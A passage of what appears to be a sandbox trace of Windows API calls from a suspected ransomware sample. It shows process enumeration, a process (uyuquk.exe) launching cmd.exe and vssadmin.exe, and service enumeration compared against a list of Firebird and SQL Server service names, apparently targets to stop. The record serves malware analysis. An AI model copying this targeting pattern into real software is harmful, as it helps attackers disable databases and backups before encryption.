lstrlenW (lpString="planners.exe") returned 12 [0048.053] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0048.054] lstrlenW (lpString="agreements.exe") returned 14 [0048.054] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0048.054] lstrlenW (lpString="tray.exe") returned 8 [0048.054] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0048.055] lstrlenW (lpString="wp std.exe") returned 10 [0048.055] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0048.055] lstrlenW (lpString="lesser.exe") returned 10 [0048.055] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0048.056] lstrlenW (lpString="right-tissue.exe") returned 16 [0048.056] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0048.056] lstrlenW (lpString="bunch.exe") returned 9 [0048.056] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0048.057] lstrlenW (lpString="jam.exe") returned 7 [0048.057] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0048.057] lstrlenW (lpString="chooseincidence.exe") returned 19 [0048.057] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0048.302] lstrlenW (lpString="numericalrear.exe") returned 17 [0048.302] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0048.344] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0048.344] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0048.344] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0048.345] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0048.345] lstrlenW (lpString="come_wave.exe") returned 13 [0048.345] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.345] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.346] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0048.346] lstrlenW (lpString="uyuquk.exe") returned 10 [0048.346] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.346] lstrlenW (lpString="cmd.exe") returned 7 [0048.346] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.347] lstrlenW (lpString="conhost.exe") returned 11 [0048.347] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.348] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.348] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.348] lstrlenW (lpString="VSSVC.exe") returned 9 [0048.348] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.349] lstrlenW (lpString="svchost.exe") returned 11 [0048.349] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0048.349] CloseHandle (hObject=0x1fc) returned 1 [0048.349] Sleep (dwMilliseconds=0x1f4) [0049.111] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d90 [0049.112] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0049.112] GetLastError () returned 0xea [0049.112] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0049.112] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0049.113] CloseServiceHandle (hSCObject=0x566d90) returned 1 [0049.113] lstrlenW (lpString="Appinfo") returned 7 [0049.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.113] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.113] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.113] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.113] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.113] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.113] lstrlenW (lpString="AudioSrv") returned 8 [0049.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.113] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.113] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.113] lstrlenW (lpString="BFE") returned 3 [0049.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.113] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.113] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.113] lstrlenW (lpString="CryptSvc") returned 8 [0049.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.113] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.113] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.114] lstrlenW (lpString="CscService") returned 10 [0049.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.114] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.114] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.114] lstrlenW (lpString="DcomLaunch") returned 10 [0049.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.114] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.114] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.114] lstrlenW (lpString="Dhcp") returned 4 [0049.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.114] lstrlenW (lpString="Dnscache") returned 8 [0049.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.114] lstrlenW (lpString="DPS") returned 3 [0049.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.114] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.114] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.114] lstrlenW (lpString="eventlog") returned 8 [0049.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.115] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.115] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.115] lstrlenW (lpString="EventSystem") returned 11 [0049.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.115] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.115] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.115] lstrlenW (lpString="gpsvc") returned 5 [0049.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.115] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.115] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.115] lstrlenW (lpString="iphlpsvc") returned 8 [0049.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.115] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.115] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.115] lstrlenW (lpString="LanmanServer") returned 12 [0049.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.115] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.115] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.115] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.115] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.115] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.115] lstrlenW (lpString="lmhosts") returned 7 [0049.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.116] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.116] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.116] lstrlenW (lpString="MMCSS") returned 5 [0049.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.116] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.116] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.116] lstrlenW (lpString="MpsSvc") returned 6 [0049.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.116] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.116] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.116] lstrlenW (lpString="Netman") returned 6 [0049.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.116] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.116] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.116] lstrlenW (lpString="netprofm") returned 8 [0049.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.116] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.116] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.116] lstrlenW (lpString="NlaSvc") returned 6 [0049.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.116] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.116] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.117] lstrlenW (lpString="nsi") returned 3 [0049.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.117] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.117] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.117] lstrlenW (lpString="PcaSvc") returned 6 [0049.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.117] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.117] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.117] lstrlenW (lpString="PlugPlay") returned 8 [0049.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.117] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.117] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.117] lstrlenW (lpString="Power") returned 5 [0049.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.117] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.117] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.117] lstrlenW (lpString="ProfSvc") returned 7 [0049.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.117] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.117] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.117] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.117] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.118] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.118] lstrlenW (lpString="RpcSs") returned 5 [0049.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.118] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.118] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.118] lstrlenW (lpString="SamSs") returned 5 [0049.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.118] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.118] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.118] lstrlenW (lpString="Schedule") returned 8 [0049.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.118] lstrlenW (lpString="SENS") returned 4 [0049.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.118] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.118] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.118] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.118] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.118] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.118] lstrlenW (lpString="Spooler") returned 7 [0049.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.119] lstrlenW (lpString="swprv") returned 5 [0049.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0049.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0049.119] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0049.119] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0049.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0049.119] lstrlenW (lpString="SysMain") returned 7 [0049.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.119] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.119] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.119] lstrlenW (lpString="Themes") returned 6 [0049.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.119] lstrlenW (lpString="TrkWks") returned 6 [0049.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.119] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.119] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.119] lstrlenW (lpString="UxSms") returned 5 [0049.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 